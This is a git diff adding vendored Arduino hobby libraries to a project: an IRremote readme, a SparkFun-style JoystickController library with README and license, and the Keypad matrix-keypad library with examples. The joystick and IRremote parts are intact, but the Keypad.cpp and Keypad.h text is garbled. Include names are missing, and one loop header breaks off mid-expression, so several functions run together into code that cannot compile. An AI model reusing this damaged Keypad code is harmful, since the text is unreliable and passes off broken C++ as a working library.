b/Projects/libraries/Installed_libs/IRRemote/readme new file mode 100755 index 0000000..3de6526 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/readme @@ -0,0 +1,14 @@ +This is the IRremote library for the Arduino. + +To download from github (http://github.com/shirriff/Arduino-IRremote), click on the "Downloads" link in the upper right, click "Download as zip", and get a zip file. Unzip it and rename the directory shirriff-Arduino-IRremote-nnn to IRremote + +To install, move the downloaded IRremote directory to: +arduino-1.x/libraries/IRremote +where arduino-1.x is your Arduino installation directory + +After installation you should have files such as: +arduino-1.x/libraries/IRremote/IRremote.cpp + +For details on the library see the Wiki on github or the blog post http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + +Copyright 2009-2012 Ken Shirriff diff --git a/Projects/libraries/Installed_libs/JoystickController/.gitignore b/Projects/libraries/Installed_libs/JoystickController/.gitignore new file mode 100755 index 0000000..496ee2c --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/.gitignore @@ -0,0 +1 @@ +.DS_Store \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino b/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino new file mode 100755 index 0000000..ab6992f --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/Examples/a019_JoystickController/a019_JoystickController.ino @@ -0,0 +1,62 @@ +#include "JoystickController.h" + +JoystickController controller; + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + controller.update(); + + if (controller.selectButtonPressed()){ + Serial.println("S"); + } + + if (controller.upButtonPressed()){ + Serial.println("U"); + } + + if (controller.downButtonPressed()){ + Serial.println("D"); + } + + if (controller.leftButtonPressed()){ + Serial.println("L"); + } + + if (controller.rightButtonPressed()){ + Serial.println("R"); + } + + int direct = controller.getDirection(); + + switch (direct){ + case JoystickController::DIRECTION_UP: + Serial.println("UP"); + break; + case JoystickController::DIRECTION_UP_RIGHT: + Serial.println("UP-RIGHT"); + break; + case JoystickController::DIRECTION_RIGHT: + Serial.println("RIGHT"); + break; + case JoystickController::DIRECTION_DOWN_RIGHT: + Serial.println("DOWN-RIGHT"); + break; + case JoystickController::DIRECTION_DOWN: + Serial.println("DOWN"); + break; + case JoystickController::DIRECTION_DOWN_LEFT: + Serial.println("DOWN-LEFT"); + break; + case JoystickController::DIRECTION_LEFT: + Serial.println("LEFT"); + break; + case JoystickController::DIRECTION_UP_LEFT: + Serial.println("UP-LEFT"); + break; + } + + delay(100); +} diff --git a/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp b/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp new file mode 100755 index 0000000..23c0507 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/JoystickController.cpp @@ -0,0 +1,184 @@ +#include "Arduino.h" +#include "JoystickController.h" + +enum PINS{ + PIN_ANALOG_X = 0, + PIN_ANALOG_Y = 1, + PIN_BUTTON_SELECT = 2, + PIN_BUTTON_UP = 4, + PIN_BUTTON_DOWN = 5, + PIN_BUTTON_LEFT = 6, + PIN_BUTTON_RIGHT = 3 +}; + +JoystickController::JoystickController(int low, int high){ + _threshouldLow = low; + _threshouldHigh = high; + this->_setup(); +} + +void JoystickController::update(){ + this->_reset(); + this->_updateDirection(); + this->_updateButtons(); +} + +int JoystickController::getDirection(){ + return _direction; +} + +bool JoystickController::selectButtonPressed(){ + return _selectButtonPressed; +} + +bool JoystickController::upButtonPressed(){ + return _upButtonPressed; +} + +bool JoystickController::downButtonPressed(){ + return _downButtonPressed; +} + +bool JoystickController::leftButtonPressed(){ + return _leftButtonPressed; +} + +bool JoystickController::rightButtonPressed(){ + return _rightButtonPressed; +} + +/** + * Protected. + */ +void JoystickController::_reset(){ + _direction = DIRECTION_NONE; + _selectButtonPressed = false; + _upButtonPressed = false; + _downButtonPressed = false; + _leftButtonPressed = false; + _rightButtonPressed = false; +} + +/** + * Protected. + */ +void JoystickController::_setup(){ + pinMode(PIN_BUTTON_SELECT, INPUT); + digitalWrite(PIN_BUTTON_SELECT, HIGH); + + pinMode(PIN_BUTTON_UP, INPUT); + digitalWrite(PIN_BUTTON_UP, HIGH); + + pinMode(PIN_BUTTON_DOWN, INPUT); + digitalWrite(PIN_BUTTON_DOWN, HIGH); + + pinMode(PIN_BUTTON_LEFT, INPUT); + digitalWrite(PIN_BUTTON_LEFT, HIGH); + + pinMode(PIN_BUTTON_RIGHT, INPUT); + digitalWrite(PIN_BUTTON_RIGHT, HIGH); + + this->_reset(); +} + +/** + * Protected. + */ +void JoystickController::_updateDirection(){ + const int NONE = 0; + const int POSITIVE = 1; + const int NEGATIVE = -1; + + int x = analogRead(PIN_ANALOG_X); + int y = analogRead(PIN_ANALOG_Y); + + int directX = NONE; + int directY = NONE; + + if (x < _threshouldLow){ + directX = NEGATIVE; + } + + if (x > _threshouldHigh){ + directX = POSITIVE; + } + + if (y < _threshouldLow){ + directY = NEGATIVE; + } + + if (y > _threshouldHigh){ + directY = POSITIVE; + } + + if (directX == NONE){ + if (directY == POSITIVE){ + _direction = DIRECTION_UP; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN; + } + } + + if (directX == POSITIVE){ + if (directY == NONE){ + _direction = DIRECTION_RIGHT; + } + if (directY == POSITIVE){ + _direction = DIRECTION_UP_RIGHT; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN_RIGHT; + } + } + + if (directX == NEGATIVE){ + if (directY == NONE){ + _direction = DIRECTION_LEFT; + } + if (directY == POSITIVE){ + _direction = DIRECTION_UP_LEFT; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN_LEFT; + } + } +} + +/** + * Protected. + */ +void JoystickController::_updateButtons(){ + int S = digitalRead(PIN_BUTTON_SELECT); + int U = digitalRead(PIN_BUTTON_UP); + int D = digitalRead(PIN_BUTTON_DOWN); + int L = digitalRead(PIN_BUTTON_LEFT); + int R = digitalRead(PIN_BUTTON_RIGHT); + + if (this->_buttonPressed(S)){ + _selectButtonPressed = true; + } + + if (this->_buttonPressed(U)){ + _upButtonPressed = true; + } + + if (this->_buttonPressed(D)){ + _downButtonPressed = true; + } + + if (this->_buttonPressed(L)){ + _leftButtonPressed = true; + } + + if (this->_buttonPressed(R)){ + _rightButtonPressed = true; + } +} + +/** + * Protected. + */ +bool JoystickController::_buttonPressed(int state){ + return (state == LOW); +} diff --git a/Projects/libraries/Installed_libs/JoystickController/JoystickController.h b/Projects/libraries/Installed_libs/JoystickController/JoystickController.h new file mode 100755 index 0000000..8e01087 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/JoystickController.h @@ -0,0 +1,71 @@ +#ifndef __JOYSTICKCONTROLLER_H__ +#define __JOYSTICKCONTROLLER_H__ + +class JoystickController{ + protected: + static const int DEFAULT_LOW = 490; + static const int DEFAULT_HIGH = 530; + + int _threshouldLow; + int _threshouldHigh; + + int _direction; + bool _selectButtonPressed; + bool _upButtonPressed; + bool _downButtonPressed; + bool _leftButtonPressed; + bool _rightButtonPressed; + + void _setup(); + void _reset(); + void _updateDirection(); + void _updateButtons(); + bool _buttonPressed(int state); + + public: + /** + * Directions in the integer format. + */ + static const int DIRECTION_NONE = 0; + static const int DIRECTION_UP = 1; + static const int DIRECTION_UP_RIGHT = 2; + static const int DIRECTION_RIGHT = 3; + static const int DIRECTION_DOWN_RIGHT = 4; + static const int DIRECTION_DOWN = 5; + static const int DIRECTION_DOWN_LEFT = 6; + static const int DIRECTION_LEFT = 7; + static const int DIRECTION_UP_LEFT = 8; + + /** + * Constructor. The first argument specifies the lower threshould value for the directional key pad, + * below which the controller is assumed to set left/down in the horizontal/vertical direction. + * The second argument specifies the upper threshould value, + * above which the controller is assumed to set right/up in the horizontal/vertical direction. + */ + JoystickController(int low = DEFAULT_LOW, int high = DEFAULT_HIGH); + + /** + * Must get called in the main loop. + */ + void update(); + + /** + * Returns the current direction in the integer format. + */ + int getDirection(); + + /** + * Returns true if a button is being pressed, otherwise false. + */ + bool upButtonPressed(); + bool downButtonPressed(); + bool leftButtonPressed(); + bool rightButtonPressed(); + + /** + * Returns true if the select button (directional keypad) is being pressed, otherwise false. + */ + bool selectButtonPressed(); +}; + +#endif diff --git a/Projects/libraries/Installed_libs/JoystickController/LICENSE b/Projects/libraries/Installed_libs/JoystickController/LICENSE new file mode 100755 index 0000000..a51af92 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) 2012 boreal-kiss.com + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/README.md b/Projects/libraries/Installed_libs/JoystickController/README.md new file mode 100755 index 0000000..e425463 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/README.md @@ -0,0 +1,120 @@ +# JoystickController + +Fully compatible with SparkFun's [Arduino joystick shield](https://www.sparkfun.com/products/9760?). The library lets you easily fetch the current status of the joystick (demo video is [here](https://vimeo.com/49010406)). Implementation is quite simple; + + JoystickController(int low = DEFAULT_LOW, int high = DEFAULT_HIGH) + +is a constructor. The first argument specifies the lower threshold value for the directional key pad, below which the controller is assumed to set left/down in the horizontal/vertical direction. The second argument specifies the upper threshold value, above which the controller is assumed to set right/up in the horizontal/vertical direction. If arguments are not specified, the following default values will be used: + + static const int DEFAULT_LOW = 490; + static const int DEFAULT_HIGH = 530; + +For more information about the threshold see the following article; [How do I find the current direction of the joystick?](http://www.sparkfun.com/tutorials/171#direction) + + void update() + +must get called in the main loop in order for the library to communicate with the joystick. + + int getDirection() + +returns the current direction of the directional keypad as integer values that are defined as class static variables: + + static const int DIRECTION_NONE = 0; + static const int DIRECTION_UP = 1; + static const int DIRECTION_UP_RIGHT = 2; + static const int DIRECTION_RIGHT = 3; + static const int DIRECTION_DOWN_RIGHT = 4; + static const int DIRECTION_DOWN = 5; + static const int DIRECTION_DOWN_LEFT = 6; + static const int DIRECTION_LEFT = 7; + static const int DIRECTION_UP_LEFT = 8; + +Finally buttons' status can be fetched from the following functions: + + bool upButtonPressed() + bool downButtonPressed() + bool leftButtonPressed() + bool rightButtonPressed() + bool selectButtonPressed() + +They return true if a button is being pressed, otherwise false. + +## Example + +Here is a simple example for the library implementation. + + #include "JoystickController.h" + + JoystickController controller; + + void setup(){ + Serial.begin(9600); + } + + void loop(){ + controller.update(); + + if (controller.selectButtonPressed()){ + Serial.println("S"); + } + + if (controller.upButtonPressed()){ + Serial.println("U"); + } + + if (controller.downButtonPressed()){ + Serial.println("D"); + } + + if (controller.leftButtonPressed()){ + Serial.println("L"); + } + + if (controller.rightButtonPressed()){ + Serial.println("R"); + } + + int direct = controller.getDirection(); + + switch (direct){ + case JoystickController::DIRECTION_UP: + Serial.println("UP"); + break; + case JoystickController::DIRECTION_UP_RIGHT: + Serial.println("UP-RIGHT"); + break; + case JoystickController::DIRECTION_RIGHT: + Serial.println("RIGHT"); + break; + case JoystickController::DIRECTION_DOWN_RIGHT: + Serial.println("DOWN-RIGHT"); + break; + case JoystickController::DIRECTION_DOWN: + Serial.println("DOWN"); + break; + case JoystickController::DIRECTION_DOWN_LEFT: + Serial.println("DOWN-LEFT"); + break; + case JoystickController::DIRECTION_LEFT: + Serial.println("LEFT"); + break; + case JoystickController::DIRECTION_UP_LEFT: + Serial.println("UP-LEFT"); + break; + } + + delay(100); + } + +## Related articles + +* [Arduino joystick controller library](http://blog.boreal-kiss.net/2012/09/07/arduino-joystick-controller-library/) + +## License + +This project is provided under the terms of the [MIT License](http://www.opensource.org/licenses/mit-license.php). + +## Contact + +* [http://blog.boreal-kiss.net/](http://blog.boreal-kiss.net/) +* [http://twitter.com/borealkiss](http://twitter.com/borealkiss) \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/keywords.txt b/Projects/libraries/Installed_libs/JoystickController/keywords.txt new file mode 100755 index 0000000..bc8bf83 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/keywords.txt @@ -0,0 +1,35 @@ +####################################### +# Syntax Coloring Map for JoystickController +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +JoystickController KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +update KEYWORD2 +getDirection KEYWORD2 +selectButtonPressed KEYWORD2 +upButtonPressed KEYWORD2 +downButtonPressed KEYWORD2 +leftButtonPressed KEYWORD2 +rightButtonPressed KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### + +DIRECTION_NONE LITERAL1 +DIRECTION_UP LITERAL1 +DIRECTION_UP_RIGHT LITERAL1 +DIRECTION_RIGHT LITERAL1 +DIRECTION_DOWN_RIGHT LITERAL1 +DIRECTION_DOWN LITERAL1 +DIRECTION_DOWN_LEFT LITERAL1 +DIRECTION_LEFT LITERAL1 +DIRECTION_UP_LEFT LITERAL1 diff --git a/Projects/libraries/Installed_libs/Keypad/Keypad.cpp b/Projects/libraries/Installed_libs/Keypad/Keypad.cpp new file mode 100755 index 0000000..f146a6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/Keypad.cpp @@ -0,0 +1,293 @@ +/* +|| +|| @file Keypad.cpp +|| @version 3.1 +|| @author Mark Stanley, Alexander Brevig +|| @contact mstanley@technologist.com, alexanderbrevig@gmail.com +|| +|| @description +|| | This library provides a simple interface for using matrix +|| | keypads. It supports multiple keypresses while maintaining +|| | backwards compatibility with the old single key library. +|| | It also supports user selectable pins and definable keymaps. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ +#include + +// <> Allows custom keymap, pin configuration, and keypad sizes. +Keypad::Keypad(char *userKeymap, byte *row, byte *col, byte numRows, byte numCols) { + rowPins = row; + columnPins = col; + sizeKpd.rows = numRows; + sizeKpd.columns = numCols; + + begin(userKeymap); + + setDebounceTime(10); + setHoldTime(500); + keypadEventListener = 0; + + startTime = 0; + single_key = false; +} + +// Let the user define a keymap - assume the same row/column count as defined in constructor +void Keypad::begin(char *userKeymap) { + keymap = userKeymap; +} + +// Returns a single key only. Retained for backwards compatibility. +char Keypad::getKey() { + single_key = true; + + if (getKeys() && key[0].stateChanged && (key[0].kstate==PRESSED)) + return key[0].kchar; + + single_key = false; + + return NO_KEY; +} + +// Populate the key list. +bool Keypad::getKeys() { + bool keyActivity = false; + + // Limit how often the keypad is scanned. This makes the loop() run 10 times as fast. + if ( (millis()-startTime)>debounceTime ) { + scanKeys(); + keyActivity = updateList(); + startTime = millis(); + } + + return keyActivity; +} + +// Private : Hardware scan +void Keypad::scanKeys() { + // Re-intialize the row pins. Allows sharing these pins with other hardware. + for (byte r=0; r -1) { + nextKeyState(idx, button); + } + // Key is NOT on the list so add it. + if ((idx == -1) && button) { + for (byte i=0; iholdTime) // Waiting for a key HOLD... + transitionTo (idx, HOLD); + else if (button==OPEN) // or for a key to be RELEASED. + transitionTo (idx, RELEASED); + break; + case HOLD: + if (button==OPEN) + transitionTo (idx, RELEASED); + break; + case RELEASED: + transitionTo (idx, IDLE); + break; + } +} + +// New in 2.1 +bool Keypad::isPressed(char keyChar) { + for (byte i=0; i= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif + +// bperrybap - Thanks for a well reasoned argument and the following macro(s). +// See http://arduino.cc/forum/index.php/topic,142041.msg1069480.html#msg1069480 +#ifndef INPUT_PULLUP +#warning "Using pinMode() INPUT_PULLUP AVR emulation" +#define INPUT_PULLUP 0x2 +#define pinMode(_pin, _mode) _mypinMode(_pin, _mode) +#define _mypinMode(_pin, _mode) \ +do { \ + if(_mode == INPUT_PULLUP) \ + pinMode(_pin, INPUT); \ + digitalWrite(_pin, 1); \ + if(_mode != INPUT_PULLUP) \ + pinMode(_pin, _mode); \ +}while(0) +#endif + + +#define OPEN LOW +#define CLOSED HIGH + +typedef char KeypadEvent; +typedef unsigned int uint; +typedef unsigned long ulong; + +// Made changes according to this post http://arduino.cc/forum/index.php?topic=58337.0 +// by Nick Gammon. Thanks for the input Nick. It actually saved 78 bytes for me. :) +typedef struct { + byte rows; + byte columns; +} KeypadSize; + +#define LIST_MAX 10 // Max number of keys on the active list. +#define MAPSIZE 10 // MAPSIZE is the number of rows (times 16 columns) +#define makeKeymap(x) ((char*)x) + + +//class Keypad : public Key, public HAL_obj { +class Keypad : public Key { +public: + + Keypad(char *userKeymap, byte *row, byte *col, byte numRows, byte numCols); + + virtual void pin_mode(byte pinNum, byte mode) { pinMode(pinNum, mode); } + virtual void pin_write(byte pinNum, boolean level) { digitalWrite(pinNum, level); } + virtual int pin_read(byte pinNum) { return digitalRead(pinNum); } + + uint bitMap[MAPSIZE]; // 10 row x 16 column array of bits. Except Due which has 32 columns. + Key key[LIST_MAX]; + unsigned long holdTimer; + + char getKey(); + bool getKeys(); + KeyState getState(); + void begin(char *userKeymap); + bool isPressed(char keyChar); + void setDebounceTime(uint); + void setHoldTime(uint); + void addEventListener(void (*listener)(char)); + int findInList(char keyChar); + int findInList(int keyCode); + char waitForKey(); + bool keyStateChanged(); + byte numKeys(); + +private: + unsigned long startTime; + char *keymap; + byte *rowPins; + byte *columnPins; + KeypadSize sizeKpd; + uint debounceTime; + uint holdTime; + bool single_key; + + void scanKeys(); + bool updateList(); + void nextKeyState(byte n, boolean button); + void transitionTo(byte n, KeyState nextState); + void (*keypadEventListener)(char); +}; + +#endif + +/* +|| @changelog +|| | 3.1 2013-01-15 - Mark Stanley : Fixed missing RELEASED & IDLE status when using a single key. +|| | 3.0 2012-07-12 - Mark Stanley : Made library multi-keypress by default. (Backwards compatible) +|| | 3.0 2012-07-12 - Mark Stanley : Modified pin functions to support Keypad_I2C +|| | 3.0 2012-07-12 - Stanley & Young : Removed static variables. Fix for multiple keypad objects. +|| | 3.0 2012-07-12 - Mark Stanley : Fixed bug that caused shorted pins when pressing multiple keys. +|| | 2.0 2011-12-29 - Mark Stanley : Added waitForKey(). +|| | 2.0 2011-12-23 - Mark Stanley : Added the public function keyStateChanged(). +|| | 2.0 2011-12-23 - Mark Stanley : Added the private function scanKeys(). +|| | 2.0 2011-12-23 - Mark Stanley : Moved the Finite State Machine into the function getKeyState(). +|| | 2.0 2011-12-23 - Mark Stanley : Removed the member variable lastUdate. Not needed after rewrite. +|| | 1.8 2011-11-21 - Mark Stanley : Added test to determine which header file to compile, +|| | WProgram.h or Arduino.h. +|| | 1.8 2009-07-08 - Alexander Brevig : No longer uses arrays +|| | 1.7 2009-06-18 - Alexander Brevig : This library is a Finite State Machine every time a state changes +|| | the keypadEventListener will trigger, if set +|| | 1.7 2009-06-18 - Alexander Brevig : Added setDebounceTime setHoldTime specifies the amount of +|| | microseconds before a HOLD state triggers +|| | 1.7 2009-06-18 - Alexander Brevig : Added transitionTo +|| | 1.6 2009-06-15 - Alexander Brevig : Added getState() and state variable +|| | 1.5 2009-05-19 - Alexander Brevig : Added setHoldTime() +|| | 1.4 2009-05-15 - Alexander Brevig : Added addEventListener +|| | 1.3 2009-05-12 - Alexander Brevig : Added lastUdate, in order to do simple debouncing +|| | 1.2 2009-05-09 - Alexander Brevig : Changed getKey() +|| | 1.1 2009-04-28 - Alexander Brevig : Modified API, and made variables private +|| | 1.0 2007-XX-XX - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino new file mode 100755 index 0000000..0effbb9 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino @@ -0,0 +1,37 @@ +/* @file CustomKeypad.pde +|| @version 1.0 +|| @author Alexander Brevig +|| @contact alexanderbrevig@gmail.com +|| +|| @description +|| | Demonstrates changing the keypad size and key values. +|| # +*/ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 4; //four columns +//define the cymbols on the buttons of the keypads +char hexaKeys[ROWS][COLS] = { + {'0','1','2','3'}, + {'4','5','6','7'}, + {'8','9','A','B'}, + {'C','D','E','F'} +}; +byte rowPins[ROWS] = {3, 2, 1, 0}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {7, 6, 5, 4}; //connect to the column pinouts of the keypad + +//initialize an instance of class NewKeypad +Keypad customKeypad = Keypad( makeKeymap(hexaKeys), rowPins, colPins, ROWS, COLS); + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + char customKey = customKeypad.getKey(); + + if (customKey){ + Serial.println(customKey); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino new file mode 100755 index 0000000..530b523 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino @@ -0,0 +1,213 @@ +/* @file DynamicKeypad.pde +|| @version 1.2 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| 07/11/12 - Re-modified (from DynamicKeypadJoe2) to use direct-connect kpds +|| 02/28/12 - Modified to use I2C i/o G. D. (Joe) Young +|| +|| +|| @dificulty: Intermediate +|| +|| @description +|| | This is a demonstration of keypadEvents. It's used to switch between keymaps +|| | while using only one keypad. The main concepts being demonstrated are: +|| | +|| | Using the keypad events, PRESSED, HOLD and RELEASED to simplify coding. +|| | How to use setHoldTime() and why. +|| | Making more than one thing happen with the same key. +|| | Assigning and changing keymaps on the fly. +|| | +|| | Another useful feature is also included with this demonstration although +|| | it's not really one of the concepts that I wanted to show you. If you look +|| | at the code in the PRESSED event you will see that the first section of that +|| | code is used to scroll through three different letters on each key. For +|| | example, pressing the '2' key will step through the letters 'd', 'e' and 'f'. +|| | +|| | +|| | Using the keypad events, PRESSED, HOLD and RELEASED to simplify coding +|| | Very simply, the PRESSED event occurs imediately upon detecting a pressed +|| | key and will not happen again until after a RELEASED event. When the HOLD +|| | event fires it always falls between PRESSED and RELEASED. However, it will +|| | only occur if a key has been pressed for longer than the setHoldTime() interval. +|| | +|| | How to use setHoldTime() and why +|| | Take a look at keypad.setHoldTime(500) in the code. It is used to set the +|| | time delay between a PRESSED event and the start of a HOLD event. The value +|| | 500 is in milliseconds (mS) and is equivalent to half a second. After pressing +|| | a key for 500mS the HOLD event will fire and any code contained therein will be +|| | executed. This event will stay active for as long as you hold the key except +|| | in the case of bug #1 listed above. +|| | +|| | Making more than one thing happen with the same key. +|| | If you look under the PRESSED event (case PRESSED:) you will see that the '#' +|| | is used to print a new line, Serial.println(). But take a look at the first +|| | half of the HOLD event and you will see the same key being used to switch back +|| | and forth between the letter and number keymaps that were created with alphaKeys[4][5] +|| | and numberKeys[4][5] respectively. +|| | +|| | Assigning and changing keymaps on the fly +|| | You will see that the '#' key has been designated to perform two different functions +|| | depending on how long you hold it down. If you press the '#' key for less than the +|| | setHoldTime() then it will print a new line. However, if you hold if for longer +|| | than that it will switch back and forth between numbers and letters. You can see the +|| | keymap changes in the HOLD event. +|| | +|| | +|| | In addition... +|| | You might notice a couple of things that you won't find in the Arduino language +|| | reference. The first would be #include . This is a standard library from +|| | the C programming language and though I don't normally demonstrate these types of +|| | things from outside the Arduino language reference I felt that its use here was +|| | justified by the simplicity that it brings to this sketch. +|| | That simplicity is provided by the two calls to isalpha(key) and isdigit(key). +|| | The first one is used to decide if the key that was pressed is any letter from a-z +|| | or A-Z and the second one decides if the key is any number from 0-9. The return +|| | value from these two functions is either a zero or some positive number greater +|| | than zero. This makes it very simple to test a key and see if it is a number or +|| | a letter. So when you see the following: +|| | +|| | if (isalpha(key)) // this tests to see if your key was a letter +|| | +|| | And the following may be more familiar to some but it is equivalent: +|| | +|| | if (isalpha(key) != 0) // this tests to see if your key was a letter +|| | +|| | And Finally... +|| | To better understand how the event handler affects your code you will need to remember +|| | that it gets called only when you press, hold or release a key. However, once a key +|| | is pressed or held then the event handler gets called at the full speed of the loop(). +|| | +|| # +*/ +#include +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +// Define the keymaps. The blank spot (lower left) is the space character. +char alphaKeys[ROWS][COLS] = { + { 'a','d','g' }, + { 'j','m','p' }, + { 's','v','y' }, + { ' ','.','#' } +}; + +char numberKeys[ROWS][COLS] = { + { '1','2','3' }, + { '4','5','6' }, + { '7','8','9' }, + { ' ','0','#' } +}; + +boolean alpha = false; // Start with the numeric keypad. + +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +// Create two new keypads, one is a number pad and the other is a letter pad. +Keypad numpad( makeKeymap(numberKeys), rowPins, colPins, sizeof(rowPins), sizeof(colPins) ); +Keypad ltrpad( makeKeymap(alphaKeys), rowPins, colPins, sizeof(rowPins), sizeof(colPins) ); + + +unsigned long startTime; +const byte ledPin = 13; // Use the LED on pin 13. + +void setup() { + Serial.begin(9600); + pinMode(ledPin, OUTPUT); + digitalWrite(ledPin, LOW); // Turns the LED on. + ltrpad.begin( makeKeymap(alphaKeys) ); + numpad.begin( makeKeymap(numberKeys) ); + ltrpad.addEventListener(keypadEvent_ltr); // Add an event listener. + ltrpad.setHoldTime(500); // Default is 1000mS + numpad.addEventListener(keypadEvent_num); // Add an event listener. + numpad.setHoldTime(500); // Default is 1000mS +} + +char key; + +void loop() { + + if( alpha ) + key = ltrpad.getKey( ); + else + key = numpad.getKey( ); + + if (alpha && millis()-startTime>100) { // Flash the LED if we are using the letter keymap. + digitalWrite(ledPin,!digitalRead(ledPin)); + startTime = millis(); + } +} + +static char virtKey = NO_KEY; // Stores the last virtual key press. (Alpha keys only) +static char physKey = NO_KEY; // Stores the last physical key press. (Alpha keys only) +static char buildStr[12]; +static byte buildCount; +static byte pressCount; + +static byte kpadState; + +// Take care of some special events. + +void keypadEvent_ltr(KeypadEvent key) { + // in here when in alpha mode. + kpadState = ltrpad.getState( ); + swOnState( key ); +} // end ltrs keypad events + +void keypadEvent_num( KeypadEvent key ) { + // in here when using number keypad + kpadState = numpad.getState( ); + swOnState( key ); +} // end numbers keypad events + +void swOnState( char key ) { + switch( kpadState ) { + case PRESSED: + if (isalpha(key)) { // This is a letter key so we're using the letter keymap. + if (physKey != key) { // New key so start with the first of 3 characters. + pressCount = 0; + virtKey = key; + physKey = key; + } + else { // Pressed the same key again... + virtKey++; // so select the next character on that key. + pressCount++; // Tracks how many times we press the same key. + } + if (pressCount > 2) { // Last character reached so cycle back to start. + pressCount = 0; + virtKey = key; + } + Serial.print(virtKey); // Used for testing. + } + if (isdigit(key) || key == ' ' || key == '.') + Serial.print(key); + if (key == '#') + Serial.println(); + break; + + case HOLD: + if (key == '#') { // Toggle between keymaps. + if (alpha == true) { // We are currently using a keymap with letters + alpha = false; // Now we want a keymap with numbers. + digitalWrite(ledPin, LOW); + } + else { // We are currently using a keymap with numbers + alpha = true; // Now we want a keymap with letters. + } + } + else { // Some key other than '#' was pressed. + buildStr[buildCount++] = (isalpha(key)) ? virtKey : key; + buildStr[buildCount] = '\0'; + Serial.println(); + Serial.println(buildStr); + } + break; + + case RELEASED: + if (buildCount >= sizeof(buildStr)) buildCount = 0; // Our string is full. Start fresh. + break; + } // end switch-case +}// end switch on state function + diff --git a/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino new file mode 100755 index 0000000..4bc2883 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino @@ -0,0 +1,73 @@ +/* @file EventSerialKeypad.pde + || @version 1.0 + || @author Alexander Brevig + || @contact alexanderbrevig@gmail.com + || + || @description + || | Demonstrates using the KeypadEvent. + || # + */ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; + +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); +byte ledPin = 13; + +boolean blink = false; +boolean ledPin_state; + +void setup(){ + Serial.begin(9600); + pinMode(ledPin, OUTPUT); // Sets the digital pin as output. + 